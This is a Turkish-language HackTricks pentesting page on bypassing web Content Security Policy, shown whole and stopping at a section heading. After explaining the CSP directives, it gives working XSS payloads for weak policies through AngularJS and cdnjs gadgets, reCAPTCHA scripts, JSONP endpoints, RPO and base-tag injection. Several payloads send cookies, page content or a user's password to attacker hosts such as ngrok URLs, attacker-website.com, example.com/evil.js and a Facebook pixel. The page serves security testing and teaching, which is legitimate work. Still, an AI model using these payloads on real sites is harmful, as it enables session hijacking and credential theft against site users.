hacktricks/pentesting-web/content-security-policy-csp-bypass/README.md

784 lines
48 KiB
Markdown
Raw Normal View History

# İçerik Güvenlik Politikası (CSP) Bypass
2022-04-28 16:01:33 +00:00
{% hint style="success" %}
AWS Hacking'i öğrenin ve pratik yapın:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Eğitim AWS Kırmızı Takım Uzmanı (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
GCP Hacking'i öğrenin ve pratik yapın: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Eğitim GCP Kırmızı Takım Uzmanı (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
2022-04-28 16:01:33 +00:00
<details>
2022-04-28 16:01:33 +00:00
<summary>HackTricks'i Destekleyin</summary>
2024-01-02 18:28:27 +00:00
* [**abonelik planlarını**](https://github.com/sponsors/carlospolop) kontrol edin!
* **Bize katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya **bizi** **Twitter'da** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)** takip edin.**
* **Hacking ipuçlarını paylaşarak** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github reposuna PR gönderin.
2022-04-28 16:01:33 +00:00
2022-10-27 23:22:18 +00:00
</details>
{% endhint %}
2022-04-28 16:01:33 +00:00
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
2022-04-28 16:01:33 +00:00
Deneyimli hackerlar ve bug bounty avcıları ile iletişim kurmak için [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) sunucusuna katılın!
2023-02-27 09:28:45 +00:00
**Hacking İçgörüleri**\
Hacking'in heyecanı ve zorluklarına dalan içeriklerle etkileşimde bulunun
2023-07-14 15:03:41 +00:00
2024-02-10 18:14:16 +00:00
**Gerçek Zamanlı Hack Haberleri**\
Gerçek zamanlı haberler ve içgörülerle hızlı tempolu hacking dünyasında güncel kalın
2023-07-14 15:03:41 +00:00
**Son Duyurular**\
Yeni başlayan bug bounty'ler ve önemli platform güncellemeleri hakkında bilgi sahibi olun
2022-04-28 16:01:33 +00:00
**Bize katılın** [**Discord**](https://discord.com/invite/N3FrSbmwdy) ve bugün en iyi hackerlarla işbirliği yapmaya başlayın!
## CSP Nedir
İçerik Güvenlik Politikası (CSP), esasen **cross-site scripting (XSS)** gibi saldırılara karşı **koruma sağlamak** amacıyla tanınan bir tarayıcı teknolojisidir. Tarayıcı tarafından güvenli bir şekilde yüklenebilecek kaynakların yollarını ve kaynaklarını tanımlayarak çalışır. Bu kaynaklar, resimler, çerçeveler ve JavaScript gibi çeşitli öğeleri kapsar. Örneğin, bir politika, aynı alan adından (self) kaynakların yüklenmesine ve çalıştırılmasına izin verebilir; bu, inline kaynakları ve `eval`, `setTimeout` veya `setInterval` gibi fonksiyonlar aracılığıyla string kodunun çalıştırılmasını içerir.
2021-04-23 10:43:58 +00:00
CSP'nin uygulanması, **yanıt başlıkları** aracılığıyla veya **HTML sayfasına meta öğeleri ekleyerek** gerçekleştirilir. Bu politikayı izleyerek, tarayıcılar bu şartları proaktif bir şekilde uygular ve tespit edilen ihlalleri hemen engeller.
* Yanıt başlığı aracılığıyla uygulanmıştır:
2024-02-05 20:00:40 +00:00
```
2021-04-23 10:43:58 +00:00
Content-Security-policy: default-src 'self'; img-src 'self' allowed-website.com; style-src 'self';
```
* Meta etiketi aracılığıyla uygulandı:
2024-02-05 20:00:40 +00:00
```xml
2021-04-23 10:43:58 +00:00
<meta http-equiv="Content-Security-Policy" content="default-src 'self'; img-src https://*; child-src 'none';">
```
### Headers
CSP, bu başlıklar kullanılarak uygulanabilir veya izlenebilir:
* `Content-Security-Policy`: CSP'yi uygular; tarayıcı herhangi bir ihlali engeller.
* `Content-Security-Policy-Report-Only`: İzleme için kullanılır; ihlalleri engellemeden raporlar. Ön üretim ortamlarında test etmek için idealdir.
### Defining Resources
2024-04-06 19:40:41 +00:00
CSP, hem aktif hem de pasif içeriğin yüklenmesi için kaynakları kısıtlar, inline JavaScript yürütmesi ve `eval()` kullanımı gibi yönleri kontrol eder. Bir örnek politika:
2024-02-05 20:00:40 +00:00
```bash
default-src 'none';
img-src 'self';
script-src 'self' https://code.jquery.com;
style-src 'self';
2022-12-03 17:35:56 +00:00
report-uri /cspreport
font-src 'self' https://addons.cdn.mozilla.net;
frame-src 'self' https://ic.paypal.com https://paypal.com;
media-src https://videos.cdn.mozilla.net;
object-src 'none';
```
### Direktifler
2024-02-10 18:14:16 +00:00
* **script-src**: JavaScript için belirli kaynaklara izin verir, URL'ler, satır içi scriptler ve olay işleyicileri veya XSLT stilleri tarafından tetiklenen scriptler dahil.
* **default-src**: Belirli fetch direktifleri yoksa kaynakları almak için varsayılan bir politika belirler.
* **child-src**: Web işçileri ve gömülü çerçeve içerikleri için izin verilen kaynakları belirtir.
* **connect-src**: fetch, WebSocket, XMLHttpRequest gibi arayüzler kullanılarak yüklenebilecek URL'leri kısıtlar.
* **frame-src**: Çerçeveler için URL'leri kısıtlar.
* **frame-ancestors**: Geçerli sayfayı gömebilecek kaynakları belirtir, `<frame>`, `<iframe>`, `<object>`, `<embed>` ve `<applet>` gibi öğelere uygulanır.
* **img-src**: Resimler için izin verilen kaynakları tanımlar.
* **font-src**: `@font-face` kullanılarak yüklenen fontlar için geçerli kaynakları belirtir.
* **manifest-src**: Uygulama manifest dosyalarının izin verilen kaynaklarını tanımlar.
2024-02-10 18:14:16 +00:00
* **media-src**: Medya nesnelerini yüklemek için izin verilen kaynakları tanımlar.
* **object-src**: `<object>`, `<embed>` ve `<applet>` öğeleri için izin verilen kaynakları tanımlar.
* **base-uri**: `<base>` öğeleri kullanarak yüklenebilecek izin verilen URL'leri belirtir.
2024-02-10 18:14:16 +00:00
* **form-action**: Form gönderimleri için geçerli uç noktaları listeler.
* **plugin-types**: Bir sayfanın çağırabileceği mime türlerini kısıtlar.
* **upgrade-insecure-requests**: Tarayıcılara HTTP URL'lerini HTTPS olarak yeniden yazmalarını talimat verir.
* **sandbox**: `<iframe>`'in sandbox niteliğine benzer kısıtlamalar uygular.
* **report-to**: Politika ihlal edilirse bir raporun gönderileceği grubu belirtir.
* **worker-src**: Worker, SharedWorker veya ServiceWorker scriptleri için geçerli kaynakları belirtir.
* **prefetch-src**: Alınacak veya önceden alınacak kaynaklar için geçerli kaynakları belirtir.
* **navigate-to**: Bir belgenin herhangi bir yöntemle (a, form, window.location, window.open, vb.) gidebileceği URL'leri kısıtlar.
2024-02-10 18:14:16 +00:00
### Kaynaklar
2024-02-10 18:14:16 +00:00
* `*`: `data:`, `blob:`, `filesystem:` şemaları dışındaki tüm URL'lere izin verir.
* `'self'`: Aynı alan adından yüklemeye izin verir.
* `'data'`: Veriler şeması aracılığıyla kaynakların yüklenmesine izin verir (örneğin, Base64 kodlu resimler).
* `'none'`: Herhangi bir kaynaktan yüklemeyi engeller.
* `'unsafe-eval'`: `eval()` ve benzeri yöntemlerin kullanılmasına izin verir, güvenlik nedenleriyle önerilmez.
* `'unsafe-hashes'`: Belirli satır içi olay işleyicilerini etkinleştirir.
* `'unsafe-inline'`: Satır içi `<script>` veya `<style>` gibi satır içi kaynakların kullanılmasına izin verir, güvenlik nedenleriyle önerilmez.
* `'nonce'`: Kriptografik bir nonce (bir kez kullanılan sayı) kullanarak belirli satır içi scriptler için bir beyaz liste.
* JS sınırlı yürütme varsa, sayfa içinde kullanılan bir nonce almak mümkündür `doc.defaultView.top.document.querySelector("[nonce]")` ile ve ardından kötü niyetli bir script yüklemek için yeniden kullanılabilir (strict-dynamic kullanılıyorsa, herhangi bir izin verilen kaynak yeni kaynaklar yükleyebilir, bu nedenle bu gerekli değildir), örneğin:
<details>
<summary>Nonce'i yeniden kullanarak script yükle</summary>
```html
<!-- From https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/ -->
<img src=x ng-on-error='
doc=$event.target.ownerDocument;
a=doc.defaultView.top.document.querySelector("[nonce]");
b=doc.createElement("script");
b.src="//example.com/evil.js";
b.nonce=a.nonce; doc.body.appendChild(b)'>
```
</details>
* `'sha256-<hash>'`: Belirli bir sha256 hash'ine sahip scriptleri beyaz listeye alır.
* `'strict-dynamic'`: Bir nonce veya hash ile beyaz listeye alındıysa, herhangi bir kaynaktan script yüklenmesine izin verir.
* `'host'`: `example.com` gibi belirli bir hostu belirtir.
* `https:`: URL'leri yalnızca HTTPS kullananlarla kısıtlar.
* `blob:`: Kaynakların Blob URL'lerinden (örneğin, JavaScript ile oluşturulan Blob URL'leri) yüklenmesine izin verir.
* `filesystem:`: Kaynakların dosya sisteminden yüklenmesine izin verir.
* `'report-sample'`: İhlal raporunda ihlal eden kodun bir örneğini içerir (hata ayıklama için yararlıdır).
* `'strict-origin'`: 'self' ile benzer ancak kaynakların protokol güvenlik seviyesinin belgeyle eşleşmesini sağlar (yalnızca güvenli kökenler güvenli kökenlerden kaynak yükleyebilir).
* `'strict-origin-when-cross-origin'`: Aynı kökenli istekler yapıldığında tam URL'leri gönderir, ancak istek çapraz köken olduğunda yalnızca kökeni gönderir.
* `'unsafe-allow-redirects'`: Hemen başka bir kaynağa yönlendirecek kaynakların yüklenmesine izin verir. Güvenliği zayıflattığı için önerilmez.
2024-02-10 18:14:16 +00:00
## Güvensiz CSP Kuralları
### 'unsafe-inline'
2021-04-23 10:43:58 +00:00
```yaml
2024-02-10 18:14:16 +00:00
Content-Security-Policy: script-src https://google.com 'unsafe-inline';
```
Çalışan yük: `"/><script>alert(1);</script>`
#### self + 'unsafe-inline' Iframe'lar aracılığıyla
2022-04-19 22:38:50 +00:00
{% content-ref url="csp-bypass-self-+-unsafe-inline-with-iframes.md" %}
[csp-bypass-self-+-unsafe-inline-with-iframes.md](csp-bypass-self-+-unsafe-inline-with-iframes.md)
{% endcontent-ref %}
### 'unsafe-eval'
{% hint style="danger" %}
Bu çalışmıyor, daha fazla bilgi için [**bunu kontrol et**](https://github.com/HackTricks-wiki/hacktricks/issues/653).
{% endhint %}
2021-04-23 10:43:58 +00:00
```yaml
2024-02-10 18:14:16 +00:00
Content-Security-Policy: script-src https://google.com 'unsafe-eval';
```
2024-02-10 18:14:16 +00:00
Çalışan yük:
2022-12-03 17:35:56 +00:00
```html
<script src="data:;base64,YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=="></script>
```
### strict-dynamic
2023-02-20 09:58:12 +00:00
Eğer bir şekilde **izin verilen JS kodu, DOM'da yeni bir script etiketi oluşturuyorsa** ve bu izin verilen script onu oluşturuyorsa, **yeni script etiketi çalıştırılmaya izin verilecektir**.
### Wildcard (\*)
2021-04-23 10:43:58 +00:00
```yaml
2024-02-10 18:14:16 +00:00
Content-Security-Policy: script-src 'self' https://google.com https: data *;
```
2024-02-10 18:14:16 +00:00
Çalışan yük:
2021-04-23 10:43:58 +00:00
```markup
"/>'><script src=https://attacker-website.com/evil.js></script>
"/>'><script src=data:text/javascript,alert(1337)></script>
```
### Object-src ve default-src eksikliği
2022-09-04 09:37:14 +00:00
{% hint style="danger" %}
**Görünüşe göre bu artık çalışmıyor**
2022-09-04 09:37:14 +00:00
{% endhint %}
2021-04-23 10:43:58 +00:00
```yaml
Content-Security-Policy: script-src 'self' ;
```
2024-02-10 18:14:16 +00:00
Çalışan yükler:
2021-04-23 10:43:58 +00:00
```markup
<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>
2022-10-28 09:19:40 +00:00
">'><object type="application/x-shockwave-flash" data='https: //ajax.googleapis.com/ajax/libs/yui/2.8.0 r4/build/charts/assets/charts.swf?allowedDomain=\"})))}catch(e) {alert(1337)}//'>
2021-04-23 10:43:58 +00:00
<param name="AllowScriptAccess" value="always"></object>
```
### Dosya Yükleme + 'self'
2024-02-10 18:14:16 +00:00
```yaml
Content-Security-Policy: script-src 'self'; object-src 'none' ;
```
Eğer bir JS dosyası yükleyebiliyorsanız, bu CSP'yi atlayabilirsiniz:
2021-04-23 10:43:58 +00:00
Çalışan yük:
2021-04-23 10:43:58 +00:00
```markup
"/>'><script src="/uploads/picture.png.js"></script>
```
Ancak, sunucunun **yüklenen dosyayı doğrulama** olasılığı oldukça yüksektir ve yalnızca **belirli türde dosyaların yüklenmesine** izin verecektir.
Ayrıca, sunucu tarafından kabul edilen bir uzantı kullanarak bir dosya içinde **JS kodu yükleyebilseniz bile** (örneğin: _script.png_), bu yeterli olmayacaktır çünkü bazı sunucular, apache sunucusu gibi, **dosyanın MIME türünü uzantıya göre seçer** ve Chrome gibi tarayıcılar, bir görüntü olması gereken bir şeyin içinde **Javascript** kodunu **çalıştırmayı reddeder**. "Umarım", hatalar vardır. Örneğin, bir CTF'den öğrendiğim kadarıyla **Apache,** _**.wave**_ uzantısını **bilmez**, bu nedenle onu **MIME türü olarak audio/\*** ile sunmaz.
Buradan, bir XSS ve dosya yüklemesi bulursanız ve **yanlış yorumlanan bir uzantı** bulmayı başarırsanız, o uzantıyla bir dosya yüklemeyi ve script'in içeriğini denemek isteyebilirsiniz. Ya da, sunucu yüklenen dosyanın doğru formatını kontrol ediyorsa, bir polyglot oluşturabilirsiniz ([bazı polyglot örnekleri burada](https://github.com/Polydet/polyglot-database)).
### Form-action
Eğer JS enjekte etmek mümkün değilse, örneğin kimlik bilgilerini **bir form eylemi enjekte ederek** dışarı sızdırmayı deneyebilirsiniz (ve belki şifre yöneticilerinin şifreleri otomatik doldurmasını bekleyebilirsiniz). [**Bu raporda bir örnek bulabilirsiniz**](https://portswigger.net/research/stealing-passwords-from-infosec-mastodon-without-bypassing-csp). Ayrıca, `default-src`'nin form eylemlerini kapsamadığını unutmayın.
### Üçüncü Taraf Uç Noktaları + ('unsafe-eval')
2022-12-03 17:35:56 +00:00
{% hint style="warning" %}
Aşağıdaki yüklerden bazıları için **`unsafe-eval` bile gerekli değildir**.
2022-12-03 17:35:56 +00:00
{% endhint %}
2021-04-23 10:43:58 +00:00
```yaml
2024-02-10 18:14:16 +00:00
Content-Security-Policy: script-src https://cdnjs.cloudflare.com 'unsafe-eval';
2021-04-23 10:43:58 +00:00
```
Bir açık sürümünü yükleyin angular ve rastgele JS çalıştırın:
2024-02-05 20:00:40 +00:00
```xml
2021-04-23 10:43:58 +00:00
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.4.6/angular.js"></script>
<div ng-app> {{'a'.constructor.prototype.charAt=[].join;$eval('x=1} } };alert(1);//');}} </div>
2023-01-02 20:17:43 +00:00
"><script src="https://cdnjs.cloudflare.com/angular.min.js"></script> <div ng-app ng-csp>{{$eval.constructor('alert(1)')()}}</div>
"><script src="https://cdnjs.cloudflare.com/angularjs/1.1.3/angular.min.js"> </script>
<div ng-app ng-csp id=p ng-click=$event.view.alert(1337)>
2023-01-04 12:21:48 +00:00
With some bypasses from: https://blog.huli.tw/2022/08/29/en/intigriti-0822-xss-author-writeup/
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js></script>
<iframe/ng-app/ng-csp/srcdoc="
2024-02-10 18:14:16 +00:00
<script/src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.8.0/angular.js>
</script>
<img/ng-app/ng-csp/src/ng-o{{}}n-error=$event.target.ownerDocument.defaultView.alert($event.target.ownerDocument.domain)>"
2023-01-04 12:21:48 +00:00
>
```
#### Angular kullanarak ve `window` nesnesini döndüren fonksiyonlar içeren bir kütüphane ile payloadlar ([bu yazıya göz atın](https://blog.huli.tw/2022/09/01/en/angularjs-csp-bypass-cdnjs/)):
2023-01-02 20:17:43 +00:00
{% hint style="info" %}
Yazı, `cdn.cloudflare.com` (veya başka bir izin verilen JS kütüphaneleri deposu) üzerinden **tüm kütüphaneleri** **yükleyebileceğinizi**, her kütüphaneden eklenen tüm fonksiyonları çalıştırabileceğinizi ve **hangi kütüphanelerden hangi fonksiyonların `window` nesnesini döndürdüğünü** kontrol edebileceğinizi gösteriyor.
2023-01-02 20:17:43 +00:00
{% endhint %}
```markup
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.8/angular.js" /></script>
2023-01-02 20:17:43 +00:00
<div ng-app ng-csp>
2024-02-10 18:14:16 +00:00
{{$on.curry.call().alert(1)}}
{{[].empty.call().alert([].empty.call().document.domain)}}
{{ x = $on.curry.call().eval("fetch('http://localhost/index.php').then(d => {})") }}
2023-01-02 20:17:43 +00:00
</div>
<script src="https://cdnjs.cloudflare.com/ajax/libs/prototype/1.7.2/prototype.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
2024-02-10 18:14:16 +00:00
{{$on.curry.call().alert('xss')}}
2023-01-02 20:17:43 +00:00
</div>
<script src="https://cdnjs.cloudflare.com/ajax/libs/mootools/1.6.0/mootools-core.min.js"></script>
<script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.0.1/angular.js"></script>
<div ng-app ng-csp>
2024-02-10 18:14:16 +00:00
{{[].erase.call().alert('xss')}}
2023-01-02 20:17:43 +00:00
</div>
```
Angular XSS bir sınıf adından:
```html
<div ng-app>
<strong class="ng-init:constructor.constructor('alert(1)')()">aaa</strong>
</div>
```
#### Google reCAPTCHA JS kodunu kötüye kullanma
2024-04-06 19:40:41 +00:00
[**bu CTF yazımına**](https://blog-huli-tw.translate.goog/2023/07/28/google-zer0pts-imaginary-ctf-2023-writeup/?\_x\_tr\_sl=es&\_x\_tr\_tl=en&\_x\_tr\_hl=es&\_x\_tr\_pto=wapp#noteninja-3-solves) göre, CSP içinde [https://www.google.com/recaptcha/](https://www.google.com/recaptcha/) kullanarak CSP'yi atlayarak rastgele JS kodu çalıştırabilirsiniz:
```html
<div
2024-02-10 18:14:16 +00:00
ng-controller="CarouselController as c"
ng-init="c.init()"
>
&#91[c.element.ownerDocument.defaultView.parent.location="http://google.com?"+c.element.ownerDocument.cookie]]
<div carousel><div slides></div></div>
<script src="https://www.google.com/recaptcha/about/js/main.min.js"></script>
```
Daha fazla [**bu yazıdan payloadlar**](https://joaxcar.com/blog/2024/02/19/csp-bypass-on-portswigger-net-using-google-script-resources/):
```html
<script src='https://www.google.com/recaptcha/about/js/main.min.js'></script>
<!-- Trigger alert -->
<img src=x ng-on-error='$event.target.ownerDocument.defaultView.alert(1)'>
2024-02-10 18:14:16 +00:00
<!-- Reuse nonce -->
<img src=x ng-on-error='
doc=$event.target.ownerDocument;
a=doc.defaultView.top.document.querySelector("[nonce]");
b=doc.createElement("script");
b.src="//example.com/evil.js";
b.nonce=a.nonce; doc.body.appendChild(b)'>
```
#### www.google.com'u açık yönlendirme için istismar etme
Aşağıdaki URL, example.com'a yönlendirir (buradan [buraya](https://www.landh.tech/blog/20240304-google-hack-50000/)):
```
https://www.google.com/amp/s/example.com/
```
Abusing \*.google.com/script.google.com
Google Apps Script'i, script.google.com içindeki bir sayfada bilgi almak için kötüye kullanmak mümkündür. Bunu [bu raporda olduğu gibi](https://embracethered.com/blog/posts/2023/google-bard-data-exfiltration/) yapabilirsiniz.
### Üçüncü Taraf Uç Noktaları + JSONP
2021-04-23 10:43:58 +00:00
```http
2023-03-05 18:12:38 +00:00
Content-Security-Policy: script-src 'self' https://www.google.com https://www.youtube.com; object-src 'none';
```
Scenarios like this where `script-src` is set to `self` and a particular domain which is whitelisted can be bypassed using JSONP. JSONP uç noktaları, bir saldırganın XSS gerçekleştirmesine olanak tanıyan güvensiz geri çağırma yöntemlerine izin verir, çalışan yük:
2021-04-23 10:43:58 +00:00
```markup
"><script src="https://www.google.com/complete/search?client=chrome&q=hello&callback=alert#1"></script>
"><script src="/api/jsonp?callback=(function(){window.top.location.href=`http://f6a81b32f7f7.ngrok.io/cooookie`%2bdocument.cookie;})();//"></script>
```
2023-03-05 18:12:38 +00:00
```html
https://www.youtube.com/oembed?callback=alert;
<script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=fetch(`/profile`).then(function f1(r){return r.text()}).then(function f2(txt){location.href=`https://b520-49-245-33-142.ngrok.io?`+btoa(txt)})"></script>
```
[**JSONBee**](https://github.com/zigoo0/JSONBee) **farklı web sitelerinin CSP'sini atlamak için kullanılmaya hazır JSONP uç noktaları içerir.**
2023-03-05 18:12:38 +00:00
**Güvenilir uç nokta bir Açık Yönlendirme içeriyorsa** aynı zafiyet meydana gelecektir çünkü başlangıç uç noktası güvenilir ise, yönlendirmeler de güvenilir kabul edilir.
### Üçüncü Taraf İstismarları
2023-10-23 14:43:34 +00:00
Aşağıdaki [gönderide](https://sensepost.com/blog/2023/dress-code-the-talk/#bypasses) açıklandığı gibi, CSP'de bir yerde izin verilen birçok üçüncü taraf alan adı, verileri dışarı sızdırmak veya JavaScript kodu çalıştırmak için istismar edilebilir. Bu üçüncü taraflardan bazıları şunlardır:
2023-10-23 14:43:34 +00:00
| Varlık | İzin Verilen Alan | Yetenekler |
| ----------------- | ----------------------------------------------- | ------------ |
| Facebook | www.facebook.com, \*.facebook.com | Exfil |
| Hotjar | \*.hotjar.com, ask.hotjar.io | Exfil |
| Jsdelivr | \*.jsdelivr.com, cdn.jsdelivr.net | Exec |
| Amazon CloudFront | \*.cloudfront.net | Exfil, Exec |
| Amazon AWS | \*.amazonaws.com | Exfil, Exec |
| Azure Websites | \*.azurewebsites.net, \*.azurestaticapps.net | Exfil, Exec |
| Salesforce Heroku | \*.herokuapp.com | Exfil, Exec |
| Google Firebase | \*.firebaseapp.com | Exfil, Exec |
Hedefinizin CSP'sinde izin verilen alan adlarından herhangi birini bulursanız, üçüncü taraf hizmetine kaydolarak CSP'yi atlayabileceğiniz ve ya verileri o hizmete dışarı sızdırabileceğiniz ya da kod çalıştırabileceğiniz ihtimali vardır.
2023-10-23 14:43:34 +00:00
2024-02-10 18:14:16 +00:00
Örneğin, aşağıdaki CSP'yi bulursanız:
2023-10-23 14:43:34 +00:00
```
Content-Security-Policy: default-src 'self www.facebook.com;
```
ya da
2024-02-10 18:14:16 +00:00
```
Content-Security-Policy: connect-src www.facebook.com;
```
Veri sızdırma işlemini, her zaman [Google Analytics](https://www.humansecurity.com/tech-engineering-blog/exfiltrating-users-private-data-using-google-analytics-to-bypass-csp)/[Google Tag Manager](https://blog.deteact.com/csp-bypass/) ile yapıldığı gibi gerçekleştirebilmelisiniz. Bu durumda, aşağıdaki genel adımları izlersiniz:
1. Buradan bir Facebook Geliştirici hesabı oluşturun.
2. Yeni bir "Facebook Girişi" uygulaması oluşturun ve "Web Sitesi"ni seçin.
3. "Ayarlar -> Temel" bölümüne gidin ve "Uygulama Kimliğinizi" alın.
4. Veri sızdırmak istediğiniz hedef sitede, "customEvent" ve veri yükü aracılığıyla doğrudan Facebook SDK aracı "fbq" kullanarak veri sızdırabilirsiniz.
5. Uygulamanızın "Etkinlik Yöneticisi"ne gidin ve oluşturduğunuz uygulamayı seçin (etkinlik yöneticisi, şu URL'ye benzer bir yerde bulunabilir: https://www.facebook.com/events\_manager2/list/pixel/\[app-id]/test\_events).
6. "Test Etkinlikleri" sekmesini seçerek "sizin" web siteniz tarafından gönderilen etkinlikleri görün.
2023-10-23 14:43:34 +00:00
Ardından, kurban tarafında, saldırganın Facebook geliştirici hesabı uygulama kimliğine işaret eden Facebook izleme pikselini başlatmak ve şu şekilde özel bir etkinlik oluşturmak için aşağıdaki kodu çalıştırırsınız:
2023-10-23 14:43:34 +00:00
```JavaScript
fbq('init', '1279785999289471'); // this number should be the App ID of the attacker's Meta/Facebook account
2023-10-23 14:43:34 +00:00
fbq('trackCustom', 'My-Custom-Event',{
2024-02-10 18:14:16 +00:00
data: "Leaked user password: '"+document.getElementById('user-password').innerText+"'"
2023-10-23 14:43:34 +00:00
});
```
Diğer yedi üçüncü taraf alan adı için, önceki tabloda belirtilen, onları kötüye kullanmanın birçok başka yolu vardır. Diğer üçüncü taraf kötüye kullanımları hakkında ek açıklamalar için önceki [blog yazısına](https://sensepost.com/blog/2023/dress-codethe-talk/#bypasses) bakın.
2023-10-23 14:43:34 +00:00
### RPO (Relative Path Overwrite) ile Bypass <a href="#bypass-via-rpo-relative-path-overwrite" id="bypass-via-rpo-relative-path-overwrite"></a>
Yukarıda bahsedilen yol kısıtlamalarını aşmak için yönlendirmeye ek olarak, bazı sunucularda kullanılabilecek başka bir teknik olan Relative Path Overwrite (RPO) vardır.
Örneğin, CSP `https://example.com/scripts/react/` yoluna izin veriyorsa, şu şekilde aşılabilir:
```html
<script src="https://example.com/scripts/react/..%2fangular%2fangular.js"></script>
```
Tarayıcı nihayetinde `https://example.com/scripts/angular/angular.js` dosyasını yükleyecektir.
Bu, tarayıcı için `https://example.com/scripts/react/` altında bulunan `..%2fangular%2fangular.js` adlı bir dosya yüklüyorsunuz gibi göründüğü için çalışır; bu CSP ile uyumludur.
∑, bunu çözümleyecekler ve etkili bir şekilde `https://example.com/scripts/react/../angular/angular.js` isteğinde bulunacaklar, bu da `https://example.com/scripts/angular/angular.js` ile eşdeğerdir.
**Tarayıcı ve sunucu arasındaki URL yorumlama tutarsızlığından yararlanarak, yol kuralları atlatılabilir.**
Çözüm, sunucu tarafında `%2f`'yi `/` olarak işlememek ve bu sorunu önlemek için tarayıcı ve sunucu arasında tutarlı bir yorumlama sağlamaktır.
Çevrimiçi Örnek:[ ](https://jsbin.com/werevijewa/edit?html,output)[https://jsbin.com/werevijewa/edit?html,output](https://jsbin.com/werevijewa/edit?html,output)
### Iframe'lerde JS yürütme
2022-04-19 22:38:50 +00:00
{% content-ref url="../xss-cross-site-scripting/iframes-in-xss-and-csp.md" %}
[iframes-in-xss-and-csp.md](../xss-cross-site-scripting/iframes-in-xss-and-csp.md)
2021-10-20 00:55:49 +00:00
{% endcontent-ref %}
### eksik **base-uri**
2022-03-21 17:05:35 +00:00
Eğer **base-uri** direktifi eksikse, bunu [**dangling markup injection**](../dangling-markup-html-scriptless-injection/) gerçekleştirmek için kötüye kullanabilirsiniz.
2022-03-21 17:05:35 +00:00
Ayrıca, eğer **sayfa bir göreli yol kullanarak bir script yüklüyorsa** (örneğin `<script src="/js/app.js">`) ve bir **Nonce** kullanıyorsanız, **base** **etiketini** kötüye kullanarak scripti **kendi sunucunuzdan yüklemesini sağlayabilirsiniz ve bu bir XSS'ye yol açar.**\
Eğer savunmasız sayfa **httpS** ile yükleniyorsa, base'de bir httpS URL'si kullanın.
2022-03-21 17:05:35 +00:00
```html
<base href="https://www.attacker.com/">
```
### AngularJS olayları
2024-04-06 19:40:41 +00:00
Content Security Policy (CSP) olarak bilinen belirli bir politika, JavaScript olaylarını kısıtlayabilir. Yine de, AngularJS alternatif olarak özel olaylar sunar. Bir olay içinde, AngularJS, yerel tarayıcı olay nesnesini referans alan benzersiz bir `$event` nesnesi sağlar. Bu `$event` nesnesi, CSP'yi aşmak için kullanılabilir. Özellikle, Chrome'da, `$event/event` nesnesi, olayın yürütme zincirinde yer alan nesne dizisini tutan bir `path` niteliğine sahiptir ve `window` nesnesi her zaman dizinin sonunda yer alır. Bu yapı, sandbox kaçış taktikleri için kritik öneme sahiptir.
2024-04-06 19:40:41 +00:00
Bu diziyi `orderBy` filtresine yönlendirerek, dizinin üzerinde yineleme yapmak ve terminal öğeyi (yani `window` nesnesini) kullanarak `alert()` gibi küresel bir fonksiyonu tetiklemek mümkündür. Aşağıda gösterilen kod parçası bu süreci açıklamaktadır:
2024-02-05 20:00:40 +00:00
```xml
2021-11-14 19:46:18 +00:00
<input%20id=x%20ng-focus=$event.path|orderBy:%27(z=alert)(document.cookie)%27>#x
?search=<input id=x ng-focus=$event.path|orderBy:'(z=alert)(document.cookie)'>#x
```
Bu kod parçası, olayı tetiklemek için `ng-focus` direktifinin kullanımını vurgular, `$event.path|orderBy` kullanarak `path` dizisini manipüle eder ve `alert()` fonksiyonunu çalıştırmak için `window` nesnesini kullanarak `document.cookie`'yi açığa çıkarır.
**Diğer Angular bypass'larını bulmak için** [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)
### AngularJS ve beyaz listeye alınmış alan adı
```
Content-Security-Policy: script-src 'self' ajax.googleapis.com; object-src 'none' ;report-uri /Report-parsing-url;
```
Bir Angular JS uygulamasında script yükleme için alanları beyaz listeye alan bir CSP politikası, geri çağırma fonksiyonlarının ve belirli savunmasız sınıfların çağrılması yoluyla atlatılabilir. Bu teknikle ilgili daha fazla bilgi, bu [git deposunda](https://github.com/cure53/XSSChallengeWiki/wiki/H5SC-Minichallenge-3:-%22Sh\*t,-it's-CSP!%22) bulunan ayrıntılı bir kılavuzda mevcuttur.
2024-02-10 18:14:16 +00:00
Çalışan yükler:
2022-08-12 14:24:34 +00:00
```html
<script src=//ajax.googleapis.com/ajax/services/feed/find?v=1.0%26callback=alert%26context=1337></script>
ng-app"ng-csp ng-click=$event.view.alert(1337)><script src=//ajax.googleapis.com/ajax/libs/angularjs/1.0.8/angular.js></script>
2022-12-03 17:35:56 +00:00
<!-- no longer working -->
2022-08-12 14:24:34 +00:00
<script src="https://www.googleapis.com/customsearch/v1?callback=alert(1)">
```
Diğer JSONP keyfi yürütme uç noktaları [**burada**](https://github.com/zigoo0/JSONBee/blob/master/jsonp.txt) bulunabilir (bazıları silindi veya düzeltildi)
### Yönlendirme ile Atlatma
2022-08-12 14:24:34 +00:00
